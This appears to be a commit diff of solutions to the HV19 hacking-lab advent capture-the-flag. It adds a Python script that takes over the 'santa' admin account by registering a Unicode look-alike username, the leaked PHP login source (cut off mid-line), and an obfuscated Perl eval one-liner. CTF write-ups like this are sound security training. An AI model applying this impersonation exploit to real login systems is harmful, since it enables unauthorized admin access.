Day17 code

Day 15/exploit.py

@@ -7,7 +7,7 @@ import logging
 
 def on_connect(client, userdata, flags, rc):
     if rc == 0:
-        path = 'HV19/#';
+        path = 'HV19/gifts/#';
         client.subscribe(path, qos=0)
 
 def on_message(client, userdata, msg):

Day 17/exploit.py

@@ -0,0 +1,33 @@
+#!/usr/bin/python
+
+import requests
+import random
+import string
+import re
+
+BASE_URL = "http://whale.hacking-lab.com:8881"
+PASSWORD = ''.join([random.choice(string.ascii_lowercase) for i in range(8)])
+SESSION = requests.session()
+FLAG_PATTERN = re.compile("HV19\{[^}]*\}")
+
+# 1. register user santa
+res = SESSION.post(BASE_URL + "/register.php", data={"username": "śanta", "pwd": PASSWORD, "pwd2": PASSWORD})
+if res.status_code != 200 or "Registration successful!" not in res.text:
+    print("Server returned: %d %s" % (res.status_code, res.status_text))
+    print(res.text)
+    exit(1)
+
+# 2. login
+res = SESSION.post(BASE_URL + "/login.php", data={"username": "santa", "pwd": PASSWORD})
+if res.status_code != 200 or "username not found or wrong password!" in res.text:
+    print("Server returned: %d %s" % (res.status_code, res.status_text))
+    print(res.text)
+    exit(1)
+
+# 3. get flag
+res = SESSION.get(BASE_URL + "/admin.php")
+if res.status_code != 200 or "username not found or wrong password!" in res.text:
+    print("Server returned: %d %s" % (res.status_code, res.status_text))
+    exit(1)
+
+print(FLAG_PATTERN.search(res.text))

Day 17/source.phps

@@ -0,0 +1,5 @@
+<html><head>
+<meta http-equiv="content-type" content="text/html; charset=UTF-8"></head><body><code><span style="color: #000000">
+<span style="color: #0000BB">&lt;?php<br><br></span><span style="color: #007700">if&nbsp;(isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'show'</span><span style="color: #007700">]))&nbsp;</span><span style="color: #0000BB">highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br><br></span><span style="color: #FF8000">/**<br>&nbsp;*&nbsp;Verifies&nbsp;user&nbsp;credentials.<br>&nbsp;*/<br></span><span style="color: #007700">function&nbsp;</span><span style="color: #0000BB">verifyCreds</span><span style="color: #007700">(</span><span style="color: #0000BB">$conn</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$username</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$password</span><span style="color: #007700">)&nbsp;{<br>&nbsp;&nbsp;</span><span style="color: #0000BB">$usr&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$conn</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">real_escape_string</span><span style="color: #007700">(</span><span style="color: #0000BB">$username</span><span style="color: #007700">);<br>&nbsp;&nbsp;</span><span style="color: #0000BB">$res&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$conn</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">query</span><span style="color: #007700">(</span><span style="color: #DD0000">"SELECT&nbsp;password&nbsp;FROM&nbsp;users&nbsp;WHERE&nbsp;username='"</span><span style="color: #007700">.</span><span style="color: #0000BB">$usr</span><span style="color: #007700">.</span><span style="color: #DD0000">"'"</span><span style="color: #007700">);<br>&nbsp;&nbsp;</span><span style="color: #0000BB">$row&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$res</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">fetch_assoc</span><span style="color: #007700">();<br>&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">$row</span><span style="color: #007700">)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">password_verify</span><span style="color: #007700">(</span><span style="color: #0000BB">$password</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$row</span><span style="color: #007700">[</span><span style="color: #DD0000">'password'</span><span style="color: #007700">]))&nbsp;return&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">;<br>&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;</span><span style="color: #0000BB">addFailedLoginAttempt</span><span style="color: #007700">(</span><span style="color: #0000BB">$conn</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$_SERVER</span><span style="color: #007700">[</span><span style="color: #DD0000">'REMOTE_ADDR'</span><span style="color: #007700">]);<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br>}<br><br></span><span style="color: #FF8000">/**<br>&nbsp;*&nbsp;Determines&nbsp;if&nbsp;the&nbsp;given&nbsp;user&nbsp;is&nbsp;admin.<br>&nbsp;*/<br></span><span style="color: #007700">function&nbsp;</span><span style="color: #0000BB">isAdmin</span><span style="color: #007700">(</span><span style="color: #0000BB">$username</span><span style="color: #007700">)&nbsp;{<br>&nbsp;&nbsp;return&nbsp;(</span><span style="color: #0000BB">$username&nbsp;</span><span style="color: #007700">===&nbsp;</span><span style="color: #DD0000">'santa'</span><span style="color: #007700">);<br>}<br><br></span><span style="color: #FF8000">/**<br>&nbsp;*&nbsp;Determines&nbsp;if&nbsp;the&nbsp;given&nbsp;username&nbsp;is&nbsp;already&nbsp;taken.<br>&nbsp;*/<br></span><span style="color: #007700">function&nbsp;</span><span style="color: #0000BB">isUsernameAvailable</span><span style="color: #007700">(</span><span style="color: #0000BB">$conn</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$username</span><span style="color: #007700">)&nbsp;{<br>&nbsp;&nbsp;</span><span style="color: #0000BB">$usr&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$conn</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">real_escape_string</span><span style="color: #007700">(</span><span style="color: #0000BB">$username</span><span style="color: #007700">);<br>&nbsp;&nbsp;</span><span style="color: #0000BB">$res&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$conn</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">query</span><span style="color: #007700">(</span><span style="color: #DD0000">"SELECT&nbsp;COUNT(*)&nbsp;AS&nbsp;cnt&nbsp;FROM&nbLine truncated
+</span>
+</code></body></html>

Hidden 04/input.pl

@@ -0,0 +1 @@
+s@@jSfx4gPcvtiwxPCagrtQ@,y^p-za-oPQ^a-z\x20\n^&&s[(.)(..)][\2\1]g;s%4(...)%"p$1t"%ee